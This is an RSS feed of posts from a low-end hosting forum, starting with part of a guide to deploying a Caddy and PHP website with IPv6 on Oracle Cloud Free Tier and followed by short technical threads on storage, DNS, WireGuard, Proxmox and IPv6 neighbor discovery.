This takes us to the "Route Table Details" pages.<br />
In the "Route Rules" tables, we can see that there's a route rule for destination <code spellcheck="false" tabindex="0">0.0.0.0/0</code> that targets the Internet gateway, which allows IPv4 packets to reach the Internet.<br />
We need a similar route rule for IPv6.<br />
Click <strong>Add Route Rules</strong> button.<br />
In the popup dialog, enter the following:</p>

<ul><li>Protocol Version: IPv6</li>
<li>Target Type: Internet Gateway</li>
<li>Destination CIDR Block: <code spellcheck="false" tabindex="0">::/0</code></li>
<li>Target Internet Gateway: Internet gateway vcn-…</li>
</ul><p>Then click <strong>Add Route Rules</strong> button (IPv6 step 3).</p>

<p>Finally, go back to the "Instance Details" page of the compute VM instance.<br />
To find that page, you can type "Instances" into the search bar and select "Services - Instances (Compute)" in the results.</p>

<p>Select "Attached VNICs" tab on the left side "Resources" menu, and then click the link next to <strong>(Primary VNIC)</strong>.<br />
This opens the "VNIC Details".<br />
Select "IPv6 Addresses" tab on the left side "Resources" menu, and click <strong>Assign IPv6 Address</strong> button.<br />
In the popup dialog, click <strong>Assign</strong> button to get a random IPv6 address (IPv6 step 4).</p>

<h2 data-id="dns">DNS</h2>

<p>Now that we have the IP addresses assigned, it is a good time to add DNS records to our compute VM instance, so that we can activate HTTPS later.<br />
Two DNS records are required: an <em>A record</em> for the public IPv4 address and an <em>AAAA record</em> for the public IPv6 address.<br />
You can find both addresses in the "VNIC Details" page, as described above.</p>

<p><img src="https://yoursunny.com/t/2020/OracleCloud-website/DNS.png" alt="DNS record" /></p>

<h2 data-id="configure-ingress-and-egress-rules">Configure Ingress and Egress Rules</h2>

<p>Oracle Cloud has a strict firewall that, by default, only allows SSH access.<br />
In order to host a website, it is necessary to configure the firewall so that it allows HTTP traffic.</p>

<p>To access the firewall configuration page, click the "subnet" name in "Primary VNIC" section of "Instance Details" page.<br />
Then, on "Subnet Details" page, click "Default Security List for …" in "Security Lists" section.<br />
Click <strong>Add Ingress Rules</strong> button, and enter these four rules in the popup dialog:</p>

<ul><li><p>Allow HTTP/1.1 and HTTP/2 (IPv4)</p>

<ul><li>stateless: no</li>
<li>source CIDR: <code spellcheck="false" tabindex="0">0.0.0.0/0</code></li>
<li>IP protocol: <code spellcheck="false" tabindex="0">TCP</code></li>
<li>destination port range: <code spellcheck="false" tabindex="0">80,443</code></li>
</ul></li>
<li><p>Allow HTTP/1.1 and HTTP/2 (IPv6)</p>

<ul><li>stateless: no</li>
<li>source CIDR: <code spellcheck="false" tabindex="0">::/0</code></li>
<li>IP protocol: <code spellcheck="false" tabindex="0">TCP</code></li>
<li>destination port range: <code spellcheck="false" tabindex="0">80,443</code></li>
</ul></li>
<li><p>Allow HTTP/3 (IPv4)</p>

<ul><li>stateless: no</li>
<li>source CIDR: <code spellcheck="false" tabindex="0">0.0.0.0/0</code></li>
<li>IP protocol: <code spellcheck="false" tabindex="0">UDP</code></li>
<li>destination port range: <code spellcheck="false" tabindex="0">443</code></li>
</ul></li>
<li><p>Allow HTTP/3 (IPv6)</p>

<ul><li>stateless: no</li>
<li>source CIDR: <code spellcheck="false" tabindex="0">::/0</code></li>
<li>IP protocol: <code spellcheck="false" tabindex="0">UDP</code></li>
<li>destination port range: <code spellcheck="false" tabindex="0">443</code></li>
</ul></li>
</ul><p>After that, you should see the following ingress rules in the table:</p>

<p><img src="https://yoursunny.com/t/2020/OracleCloud-website/IngressRules.png" alt="Virtual Cloud Networks - Ingress Rules" /></p>

<p>You should also add an IPv6 egress rule, so that the VM instance can reach Internet resources over IPv6.<br />
To do that, select "Egress Rules" tab on the left side "Resources" menu.<br />
Click <strong>Add Egress Rules</strong> button, and enter the following rule in the popup dialog (IPv6 step 5):</p>

<ul><li>Allow IPv6 Internet access

<ul><li>stateless: no</li>
<li>destination CIDR: <code spellcheck="false" tabindex="0">::/0</code></li>
<li>IP protocol: <code spellcheck="false" tabindex="0">All Protocols</code></li>
</ul></li>
</ul><h2 data-id="install-http-server">Install HTTP Server</h2>

<p>With the firewall rules in place, we are ready to install an HTTP server.<br />
In this guide, I'm installing <a rel="nofollow" href="https://caddyserver.com/">Caddy HTTP server</a> along with PHP-FPM.<br />
They can be installed from <a rel="nofollow" href="https://caddyserver.com/docs/download#debian-ubuntu-raspbian">Caddy package repository</a> and <a rel="nofollow" href="https://launchpad.net/~ondrej/+archive/ubuntu/php">ondrej/php PPA</a> respectively.</p>

<pre spellcheck="false" tabindex="0"># see "Caddy package repository" link above for how to add Caddy APT repository
sudo add-apt-repository ppa:ondrej/php
sudo apt install caddy php8.1-fpm
</pre>

<p>Before we can start the HTTP server, there's one more firewall to configure: the local <em>iptables</em>.<br />
Oracle Cloud not only has an external firewall at subnet level, but also blocks traffic in iptables INPUT chain.<br />
We can setup a systemd service to insert iptables rules before Caddy starts:</p>

<pre spellcheck="false" tabindex="0">sudoedit /etc/systemd/system/caddy-iptables.service
  (paste the caddy-iptables.service content)

sudo systemctl daemon-reload
sudo systemctl enable --now caddy-iptables
</pre>

<p>The systemd unit file <code spellcheck="false" tabindex="0">caddy-iptables.service</code> should have the following content:</p>

<pre spellcheck="false" tabindex="0">[Unit]
Description=Firewall rules for Caddy
Before=caddy.service

[Service]
ExecStartPre=+/usr/sbin/iptables -I INPUT -p tcp --dport 80 -j ACCEPT
ExecStartPre=+/usr/sbin/iptables -I INPUT -p tcp --dport 443 -j ACCEPT
ExecStartPre=+/usr/sbin/iptables -I INPUT -p udp --dport 443 -j ACCEPT
ExecStartPre=+/usr/sbin/ip6tables -I INPUT -p tcp --dport 80 -j ACCEPT
ExecStartPre=+/usr/sbin/ip6tables -I INPUT -p tcp --dport 443 -j ACCEPT
ExecStartPre=+/usr/sbin/ip6tables -I INPUT -p udp --dport 443 -j ACCEPT
ExecStart=true
RemainAfterExit=yes
ExecStopPost=+/usr/sbin/iptables -D INPUT -p tcp --dport 80 -j ACCEPT
ExecStopPost=+/usr/sbin/iptables -D INPUT -p tcp --dport 443 -j ACCEPT
ExecStopPost=+/usr/sbin/iptables -D INPUT -p udp --dport 443 -j ACCEPT
ExecStopPost=+/usr/sbin/ip6tables -D INPUT -p tcp --dport 80 -j ACCEPT
ExecStopPost=+/usr/sbin/ip6tables -D INPUT -p tcp --dport 443 -j ACCEPT
ExecStopPost=+/usr/sbin/ip6tables -D INPUT -p udp --dport 443 -j ACCEPT

[Install]
RequiredBy=caddy.service
</pre>

<p>Upload your website content, and make sure the <code spellcheck="false" tabindex="0">www-data</code> group can access them.<br />
In this example, I'll create two simple files:</p>

<pre spellcheck="false" tabindex="0">sudo mkdir -p /var/www/html
echo '&lt;h1&gt;hello&lt;/h1&gt;' | sudo tee /var/www/html/index.html
echo '&lt;?php phpinfo(); ?&gt;' | sudo tee /var/www/html/phpinfo.php
sudo chgrp -R www-data /var/www/html
</pre>

<p>Edit the Caddyfile (<code spellcheck="false" tabindex="0">/etc/caddy/Caddyfile</code>), paste the following:<br />
(change the domain name and root directory as appropriate)</p>

<pre spellcheck="false" tabindex="0">{
  servers {
    protocol {
      experimental_http3
    }
  }
}

https://demo.example.com {
  root * /var/www/html
  file_server
  php_fastcgi unix//run/php/php8.1-fpm.sock

  header {
    Strict-Transport-Security max-age=2592000
    X-Frame-Options SAMEORIGIN
    X-Content-Type-Options nosniff
    Referrer-Policy no-referrer-when-downgrade
  }
}
</pre>

<p>Finally, restart the webserver for the settings to take effect:</p>

<pre spellcheck="false" tabindex="0">sudo systemctl restart caddy
sudo systemctl restart php8.1-fpm
</pre>

<h2 data-id="test-the-website">Test the Website</h2>

<p>To confirm everything is working, we can visit the index page <code spellcheck="false" tabindex="0">https://demo.example.com/</code> and the PHP script <code spellcheck="false" tabindex="0">https://demo.example.com/phpinfo.php</code> in the browser.</p>

<p>Then, we use the <a rel="nofollow" href="https://curl.se/">curl</a> command line tool (on a different machine) to check that:</p>

<ul><li>HTTP-to-HTTPS redirect is working properly.</li>
<li>The website is served over HTTP/1.0, HTTP/1.1, HTTP/2, and HTTP/3.</li>
<li>The server is accessible over both IPv4 and IPv6.</li>
</ul><pre spellcheck="false" tabindex="0">$ curl -4 --http1.0 -I http://demo.example.com/
HTTP/1.0 308 Permanent Redirect
Connection: close
Location: https://demo.example.com/
Server: Caddy
Date: Fri, 28 Jan 2022 02:16:43 GMT

$ curl -6 --http1.0 -I http://demo.example.com/
HTTP/1.0 308 Permanent Redirect
Connection: close
Location: https://demo.example.com/
Server: Caddy
Date: Fri, 28 Jan 2022 02:16:43 GMT

$ curl -4 --http1.1 -I http://demo.example.com/
HTTP/1.1 308 Permanent Redirect
Connection: close
Location: https://demo.example.com/
Server: Caddy
Date: Fri, 28 Jan 2022 02:16:44 GMT

$ curl -6 --http1.1 -I http://demo.example.com/
HTTP/1.1 308 Permanent Redirect
Connection: close
Location: https://demo.example.com/
Server: Caddy
Date: Fri, 28 Jan 2022 02:16:44 GMT

$ curl -4 --http1.1 -I https://demo.example.com/
HTTP/1.1 200 OK
Accept-Ranges: bytes
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Content-Length: 15
Content-Type: text/html; charset=utf-8
Etag: "r6edtff"
Last-Modified: Fri, 28 Jan 2022 02:05:39 GMT
Referrer-Policy: no-referrer-when-downgrade
Server: Caddy
Strict-Transport-Security: max-age=2592000
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Date: Fri, 28 Jan 2022 02:16:45 GMT

$ curl -6 --http1.1 -I https://demo.example.com/
HTTP/1.1 200 OK
Accept-Ranges: bytes
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Content-Length: 15
Content-Type: text/html; charset=utf-8
Etag: "r6edtff"
Last-Modified: Fri, 28 Jan 2022 02:05:39 GMT
Referrer-Policy: no-referrer-when-downgrade
Server: Caddy
Strict-Transport-Security: max-age=2592000
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Date: Fri, 28 Jan 2022 02:16:45 GMT

$ curl -4 --http2 -I https://demo.example.com/
HTTP/2 200
accept-ranges: bytes
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
content-type: text/html; charset=utf-8
etag: "r6edtff"
last-modified: Fri, 28 Jan 2022 02:05:39 GMT
referrer-policy: no-referrer-when-downgrade
server: Caddy
strict-transport-security: max-age=2592000
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
content-length: 15
date: Fri, 28 Jan 2022 02:16:46 GMT

$ curl -6 --http2 -I https://demo.example.com/
HTTP/2 200
accept-ranges: bytes
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
content-type: text/html; charset=utf-8
etag: "r6edtff"
last-modified: Fri, 28 Jan 2022 02:05:39 GMT
referrer-policy: no-referrer-when-downgrade
server: Caddy
strict-transport-security: max-age=2592000
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
content-length: 15
date: Fri, 28 Jan 2022 02:16:46 GMT

$ docker run -t --rm --network host ymuski/curl-http3 curl -4 --http3 -I https://demo.example.com/
HTTP/3 200
server: Caddy
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
x-content-type-options: nosniff
last-modified: Fri, 28 Jan 2022 02:05:39 GMT
content-type: text/html; charset=utf-8
accept-ranges: bytes
content-length: 15
referrer-policy: no-referrer-when-downgrade
strict-transport-security: max-age=2592000
x-frame-options: SAMEORIGIN
etag: "r6edtff"

$ docker run -t --rm --network host ymuski/curl-http3 curl -6 --http3 -I https://demo.example.com/
HTTP/3 200
x-frame-options: SAMEORIGIN
etag: "r6edtff"
accept-ranges: bytes
content-length: 15
server: Caddy
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
referrer-policy: no-referrer-when-downgrade
strict-transport-security: max-age=2592000
x-content-type-options: nosniff
content-type: text/html; charset=utf-8
last-modified: Fri, 28 Jan 2022 02:05:39 GMT
</pre>

<p>Finally, we use <a rel="nofollow" href="https://www.ssllabs.com/ssltest/index.html">SSL Server Test</a> to verify that TLS certificates and crypto are configured securely, and use <a rel="nofollow" href="https://securityheaders.com/">Security Headers</a> to check that <a rel="nofollow" href="https://scotthelme.co.uk/hsts-the-missing-link-in-tls/">HTTP Strict Transport Security</a> is setup correctly.</p>

<h2 data-id="conclusion">Conclusion</h2>

<p>This article explains how to deploy a website in a VM instance on Oracle Cloud Free Tier.<br />
It involves the following steps:</p>

<ol><li>Create an always free compute VM instance.</li>
<li>Enable IPv6 in the Virtual Cloud Network, subnet, and VM instance.</li>
<li>Add ingress and egress rules in the network Security List.</li>
<li>Install Caddy HTTP server and PHP.</li>
<li>Configure local iptables firewall.</li>
<li>Test the website installation.</li>
</ol>]]>
        </description>
    </item>
    <item>
        <title>Hetzner Storage Box speeds</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/3735/hetzner-storage-box-speeds</link>
        <pubDate>Sat, 29 Jan 2022 09:29:08 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>bikegremlin</dc:creator>
        <guid isPermaLink="false">3735@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>Monkey finally got what can be considered a really fast Internet connection (300+ Mb/s download, and 70+ Mb/s upload).</p>

<p>Before, when uploading and downloading stuff from Hetzner Storage Box, the speed was limited by my connection speed.</p>

<p>I'm uzing FileZilla Pro for downloads. Uploads are usually done by the hosting servers when they run off-site backups. But I wanted to test how fast it goes to and from my computer. Trying to download compressed backups, and upload some. I tested download and upload "separately" - i.e. first downloading, then uploading. Using a normal FTP connection.</p>

<p>It seems that upload speed is limited by my connection speed (about 64 Mb/s). But the download speed was stuck at about 32 Mb/s - far below any other bottlenecks I have (my local storage, connection etc.).</p>

<p>Is this normal, or could the problem be on my end (and/or between my keyboard and the computer <img src="https://dev.lowendspirit.com/plugins/emojiextender/emoji/twitter/smile.png" title=":)" alt=":)" height="18" /> )?</p>

<p>This is my long-winded drivel on how I set up and use the storage (passwords and usernames shown aren't real, just examples):<br /><a rel="nofollow" href="https://io.bikegremlin.com/20986/hetzner-storage-box-explained/" title="https://io.bikegremlin.com/20986/hetzner-storage-box-explained/">https://io.bikegremlin.com/20986/hetzner-storage-box-explained/</a></p>
]]>
        </description>
    </item>
    <item>
        <title>How to use Cloudns as Secondary DNS provider [ Plesk Tested ]</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/3724/how-to-use-cloudns-as-secondary-dns-provider-plesk-tested</link>
        <pubDate>Thu, 27 Jan 2022 18:02:40 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>hostarts</dc:creator>
        <guid isPermaLink="false">3724@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>Hello,</p>

<p>I would like to share our experience regarding Secondary DNS for Plesk server. For the moment It has been pretty straight forward to setup Slave nameservers for Plesk.</p>

<p>The issue is, the solution becomes totally unreliable once you have 2 master servers or more. It looks like Plesk themselves couldn't figure out issues related to rndc-keys etc for our case. We have been getting random disconnections etc...</p>

<p>Additionally it requires the maintenance of the nameservers slave and having them on different locations or datacenters</p>

<p>We found solutions such as gDNS from Admin Ahead but it looks too complicated and not that different from the Plesk Slave servers.</p>

<p>We want to share our solution for the community especially the ones using Plesk, we are also planning to test the solution on different Hosting panels such as cPanel.</p>

<p>You can go ahead and create an account at <a href="https://www.cloudns.net/" rel="nofollow">https://www.cloudns.net/</a></p>

<p>Once done, you will need to put edit a default provided PHP script that you can find on their <a rel="nofollow" href="https://github.com/ClouDNS/cloudns-api-bulk-updates/tree/master/plesk-slave-zones-add" title="Github Page">Github Page</a>.</p>

<p>Due to the multiple changes between the old script and the new one we have provided some additional information to the ClouDNS team who corrected some elements on their previous one.</p>

<p>You can read the article they have put together for Plesk servers. <a href="https://www.cloudns.net/wiki/article/250" rel="nofollow">https://www.cloudns.net/wiki/article/250</a></p>

<p>We will try to do the same for cPanel very soon and update this thread.</p>

<p>through this you can enjoy IPV4 &amp; IPV6 Anycast Secondary DNS and protect your Master server</p>

<p>Regarding the Cronjob to setup we made it run once per minute in our case due to multiple DNS zone changes and new clients. Especially that Plesk is kind of slow when it comes to SSL <img src="https://dev.lowendspirit.com/plugins/emojiextender/emoji/twitter/smile.png" title=":)" alt=":)" height="18" /></p>

<p>We would love to hear your feedback</p>
]]>
        </description>
    </item>
    <item>
        <title>Who do you use for cold backup?</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/3685/who-do-you-use-for-cold-backup</link>
        <pubDate>Wed, 05 Jan 2022 22:12:35 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>terrorgen</dc:creator>
        <guid isPermaLink="false">3685@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>I am finally going to design my 3-2-1 backup plan, which is a step up from my current plan:<br /><code spellcheck="false" tabindex="0">replace hard drives before they fail</code><br />
So, wonder how is everyone's plan look like, what services do you use? <br />
The obvious provider would be AWS... but any other contenders?</p>
]]>
        </description>
    </item>
    <item>
        <title>Free Linux remote control software?</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/3634/free-linux-remote-control-software</link>
        <pubDate>Fri, 17 Dec 2021 09:25:25 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>bikegremlin</dc:creator>
        <guid isPermaLink="false">3634@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>I'm looking for a way to control one Linux Mint computer from another, remote Linux Mint computer.<br />
Something like DameWare for windows, but free.</p>

<p>It doesn't matter whether the software creates a new login session, or "logs in" to the existing session.</p>

<p>I'm using Windscribe VPN with an option of a static IP address and port forwarding (not sure if that's helpful, or a problem if both computers use the same static IP  <img src="https://dev.lowendspirit.com/plugins/emojiextender/emoji/twitter/smile.png" title=":)" alt=":)" height="18" /> ).</p>

<p>The less command prompt work/learning, the better, but it's not a problem that I'm not willing to overcome if there aren't any GUI alternatives.</p>

<p>Oh, the use case:</p>

<p>I want to be able to use a remote computer for the time-consuming video editing (rendering is the right term?), see when it's over, let it run the next one, while I'm doing some other work far away, on my other computer.  <img src="https://dev.lowendspirit.com/plugins/emojiextender/emoji/twitter/smile.png" title=":)" alt=":)" height="18" /><br />
And no, because of some minute fiddling needed, any batch processing is not an option (for now).</p>
]]>
        </description>
    </item>
    <item>
        <title>YABS disk bench on multi disk devices server</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/3581/yabs-disk-bench-on-multi-disk-devices-server</link>
        <pubDate>Sat, 27 Nov 2021 13:32:30 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>let2les</dc:creator>
        <guid isPermaLink="false">3581@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>Some storage server providers offer small SSD space for root system. But the YABS simply does not care, it just calculates TOTAL disk space (no ZFS, btw) and does fio (or dd) bench under current working directory). I've seen many bench results on HDD storage servers give more than 300 MB/s, they may be misleading.</p>

<p><a href="https://dev.lowendspirit.com/index.php?p=/profile/Mason" rel="nofollow">@Mason</a> Current YABS only shows total disk space, could you consider add disk details option and indicate which disk device (and filesystem) it's bench marking?</p>
]]>
        </description>
    </item>
    <item>
        <title>pfsense wireguard outbound connection</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/3583/pfsense-wireguard-outbound-connection</link>
        <pubDate>Sat, 27 Nov 2021 15:39:41 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>xyphos10</dc:creator>
        <guid isPermaLink="false">3583@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>Hello, does anyone know if it is possible to have wireguard client in pfsense always use one specific gateway for its connection to a wireguard server. I have a dual wan pfsense setup and I know that in openvpn there is the interface option but not sure what the equivalent in wireguard is.</p>
]]>
        </description>
    </item>
    <item>
        <title>Proxmox VE 7.1</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/3534/proxmox-ve-7-1</link>
        <pubDate>Sat, 20 Nov 2021 10:07:50 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>cybertech</dc:creator>
        <guid isPermaLink="false">3534@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>Proxmox VE 7.1 (released on November 17, 2021) includes many new highlights:</p>

<ul><li>Debian 11.1 "Bullseye" and a default <strong>Linux kernel 5.13</strong></li>
<li><strong>LXC 4.0</strong>, Ceph 16.2.6, QEMU 6.1, and OpenZFS 2.1</li>
<li>Updated VM wizard with defaults for Windows 11 (q35, OVMF, TPM)</li>
<li>Latest virtio drivers</li>
<li>New backup scheduler daemon for flexible scheduling options</li>
<li>Backup retention</li>
<li>Protected backups</li>
<li>Improved TFA: WebAuthn, recovery keys, multiple factors for single account</li>
<li><strong>New container templates: Fedora, Ubuntu, Alma Linux, Rocky Linux</strong></li>
</ul><p>View the detailed release notes including links to the upgrade guides: <a href="https://pve.proxmox.com/wiki/Roadmap" rel="nofollow">https://pve.proxmox.com/wiki/Roadmap</a></p>

<p><span data-youtube="youtube-NLV6QPaHVFY?autoplay=1"><a rel="nofollow" href="https://www.youtube.com/watch?v=NLV6QPaHVFY"><img src="https://img.youtube.com/vi/NLV6QPaHVFY/0.jpg" width="640" height="385" border="0" alt="image" /></a></span></p>
]]>
        </description>
    </item>
    <item>
        <title>Automated pentesting?</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/3503/automated-pentesting</link>
        <pubDate>Sun, 07 Nov 2021 11:24:18 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>havoc</dc:creator>
        <guid isPermaLink="false">3503@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>This <a rel="nofollow" href="www.reddit.com/r/homelab/comments/qo3gfu/how_to_continously_pentest_your_network/">reddit post about this got me thinking about this.</a></p>

<p>Anybody here have any neat automated setups to share?</p>

<p>Tempted to set something up on a VPS that regularly hits my home static IP...assuming I can get that VPS ToS approved lol.</p>
]]>
        </description>
    </item>
    <item>
        <title>Direct Admin Technical Thread</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/205/direct-admin-technical-thread</link>
        <pubDate>Fri, 29 Nov 2019 20:23:26 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>Lee</dc:creator>
        <guid isPermaLink="false">205@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>Thought it worthwhile to start a new Direct Admin thread for those that use it, given they do everything from Personal licences I am sure people have views on it.  So any useful hints, tips, bugs, requests and anything else, post them here and get some discussion going around it.</p>
]]>
        </description>
    </item>
    <item>
        <title>VPS as Wireguard bridge for site - site behind NAT, dynamic IP</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/3411/vps-as-wireguard-bridge-for-site-site-behind-nat-dynamic-ip</link>
        <pubDate>Mon, 04 Oct 2021 22:55:26 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>allendiggity</dc:creator>
        <guid isPermaLink="false">3411@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>This was surprisingly easy to get going.</p>

<p>Topology - pfSense running on proxmox at a remote site behind ISP router and with a dynamic IP (so double NAT). Proxmox box also runs a container with piHole and a small debian VM.</p>

<p>I need to remotely administer the whole thing. Initially I set up DuckDNS to get the remote IP and an openVPN server on pfSense, but thought there might be an easier solution. There is.</p>

<p>I have a mrVM VPS (thanks <a href="https://dev.lowendspirit.com/index.php?p=/profile/mikho%29" rel="nofollow">@mikho)</a> running Wireguard as installed using <a href="https://dev.lowendspirit.com/index.php?p=/profile/Nyr" rel="nofollow">@Nyr</a> 's installer <a rel="nofollow" href="https://talk.lowendspirit.com/discussion/974/wireguard-automated-installer-ubuntu-debian-centos-fedora" title="https://talk.lowendspirit.com/discussion/974/wireguard-automated-installer-ubuntu-debian-centos-fedora">https://talk.lowendspirit.com/discussion/974/wireguard-automated-installer-ubuntu-debian-centos-fedora</a> Thanks <a href="https://dev.lowendspirit.com/index.php?p=/profile/Nyr" rel="nofollow">@Nyr</a> .</p>

<p>The remote subnet is 192.168.1.0/24, my local is 192.168.0.0/24 .</p>

<p>Installed Wireguard on the debian VM running on the remote subnet, and created a .conf file for it on the VPS using <a href="https://dev.lowendspirit.com/index.php?p=/profile/Nyr" rel="nofollow">@Nyr</a> 's tool. Edited the entry in /etc/wireguard/wg0.conf <strong>on the VPS</strong> for the new client and changed:</p>

<p><code spellcheck="false" tabindex="0">AllowedIPs = 10.7.0.X/32, ipv6 address</code></p>

<p>to</p>

<p><code spellcheck="false" tabindex="0">AllowedIPs = 10.7.0.X/32, 192.168.1.0/24</code></p>

<p>That does the magic routing of 192.168.1.0/24 over Wireguard to that remote client. I probably could have left the ipv6 entry there as well.</p>

<p>On the remote debian client:</p>

<p><code spellcheck="false" tabindex="0">iptables -A FORWARD -i wg0-client -j ACCEPT</code><br /><code spellcheck="false" tabindex="0">iptables -t nat -A POSTROUTING -o ensX -j MASQUERADE</code></p>

<p>Where wg0-client is the name of the .conf file <strong>on the remote debian VM</strong> and ensX is its virtual NIC.</p>

<p>Made iptables persistent and started the Wireguard connection as a service:</p>

<p><code spellcheck="false" tabindex="0">systemctl start wg-quick@wg0-client</code><br /><code spellcheck="false" tabindex="0">systemctl enable wg-quick@wg0-client</code></p>

<p><strong>Edit:</strong> Oops, and also edit /etc/sysctl.conf on the remote debian VM and add or change:</p>

<p><code spellcheck="false" tabindex="0">net.ipv4.ip_forward = 1</code></p>

<p>then reboot or just do:</p>

<p><code spellcheck="false" tabindex="0">sysctl -p</code></p>

<p>Works like magic - I have full access to the remote 192.168.1.0/24 subnet from my local machine (once that machine is also connected as a Wireguard client of the VPS), without doing anything further.</p>
]]>
        </description>
    </item>
    <item>
        <title>Tech. support question</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/3410/tech-support-question</link>
        <pubDate>Mon, 04 Oct 2021 18:58:10 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>bikegremlin</dc:creator>
        <guid isPermaLink="false">3410@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>Does anyone know anyone from the Inception Hosting's tech support?</p>

<p>My website has been down for hours, and they don't seem to be fixing it (sent a few tickets already).</p>

<p>The domain is:<br />
facebook.com</p>

<p>May the admins please remove this post if it isn't funny. Couldn't resist.<br /><img src="https://dev.lowendspirit.com/plugins/emojiextender/emoji/twitter/smile.png" title=":)" alt=":)" height="18" /></p>
]]>
        </description>
    </item>
    <item>
        <title>IPv6 Neighbor Discovery Responder for KVM VPS</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/2815/ipv6-neighbor-discovery-responder-for-kvm-vps</link>
        <pubDate>Wed, 21 Apr 2021 04:38:33 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>yoursunny</dc:creator>
        <guid isPermaLink="false">2815@/index.php?p=/discussions</guid>
        <description><![CDATA[<blockquote><div>
  <p>This article is originally published on yoursunny.com blog <a href="https://yoursunny.com/t/2021/ndpresponder/" rel="nofollow">https://yoursunny.com/t/2021/ndpresponder/</a></p>
</div></blockquote>

<h2 data-id="i-want-ipv6-for-docker">I Want IPv6 for Docker</h2>

<p>I'm playing with Docker these days, and I want IPv6 in my Docker containers.<br />
The best guide for enabling IPv6 in Docker is <a rel="nofollow" href="https://medium.com/@skleeschulte/how-to-enable-ipv6-for-docker-containers-on-ubuntu-18-04-c68394a219a2">how to enable IPv6 for Docker containers on Ubuntu 18.04</a>.<br />
The first method in that article assigns private IPv6 addresses to containers, and uses <a rel="nofollow" href="https://github.com/robbertkl/docker-ipv6nat">IPv6 NAT</a> similar to how Docker handles IPv4 NAT.<br />
I quickly got it working, but I noticed an undesirable behavior: Network Address Translation (NAT) changes the source port number of outgoing UDP datagrams, even if there's a port forwarding rule for inbound traffic; consequently, a UDP flow with the same source and destination ports is being recognized as two separate flows.</p>

<pre spellcheck="false" tabindex="0">$ docker exec nfd nfdc face show 262
    faceid=262
    remote=udp6://[2001:db8:f440:2:eb26:f0a9:4dc3:1]:6363
     local=udp6://[fd00:2001:db8:4d55:0:242:ac11:4]:6363
congestion={base-marking-interval=100ms default-threshold=65536B}
       mtu=1337
  counters={in={25i 4603d 2n 1179907B} out={11921i 14d 0n 1506905B}}
     flags={non-local permanent point-to-point congestion-marking}
$ docker exec nfd nfdc face show 270
    faceid=270
    remote=udp6://[2001:db8:f440:2:eb26:f0a9:4dc3:1]:1024
     local=udp6://[fd00:2001:db8:4d55:0:242:ac11:4]:6363
   expires=0s
congestion={base-marking-interval=100ms default-threshold=65536B}
       mtu=1337
  counters={in={11880i 0d 0n 1498032B} out={0i 4594d 0n 1175786B}}
     flags={non-local on-demand point-to-point congestion-marking}
</pre>

<p>The second method in that article allows every container to have a public IPv6 address.<br />
It avoids NAT and the problems that come with it, but requires the host to have a <em>routed</em> IPv6 subnet.<br />
However, <em>routed</em> IPv6 is hard to come by on KVM servers, because virtualization platform such as <a rel="nofollow" href="https://www.lowendtalk.com/discussion/170194/how-many-ipv6-per-client/p2">Virtualizor does not support routed IPv6 subnets</a>, but can only provide on-link IPv6.</p>

<h2 data-id="on-link-ipv6-vs-routed-ipv6">On-Link IPv6 vs Routed IPv6</h2>

<p>So what's the difference between on-link IPv6 and routed IPv6, anyway?<br />
It differs in how the router at the previous hop is configured to reach a destination IP address.</p>

<p>Let me explain in IPv4 terms first:</p>

<pre spellcheck="false" tabindex="0">|--------| 192.0.2.1/24       |--------| 198.51.100.1/24    |-----------|
| router |--------------------| server |--------------------| container |
|--------|       192.0.2.2/24 |--------|    198.51.100.2/24 |-----------|
            (192.0.2.16-23/24)    |
                                  | 192.0.2.17/28           |-----------|
                                  \-------------------------| container |
                                              192.0.2.18/28 |-----------|
</pre>

<ul><li><p>The server has on-link IP address 192.0.2.2.</p>

<ul><li>The router knows this IP address is on-link because it is in the 192.0.2.0/24 subnet that is configured on the router interface.</li>
<li>To deliver a packet to 192.0.2.2, the router sends an ARP query of 192.0.2.2 to learn the server's MAC address, which should be responded by the server.</li>
</ul></li>
<li><p>The server has routed IP subnet 198.51.100.0/24.</p>

<ul><li>The router must be configured to know: 198.51.100.0/24 is reachable via 192.0.2.2.</li>
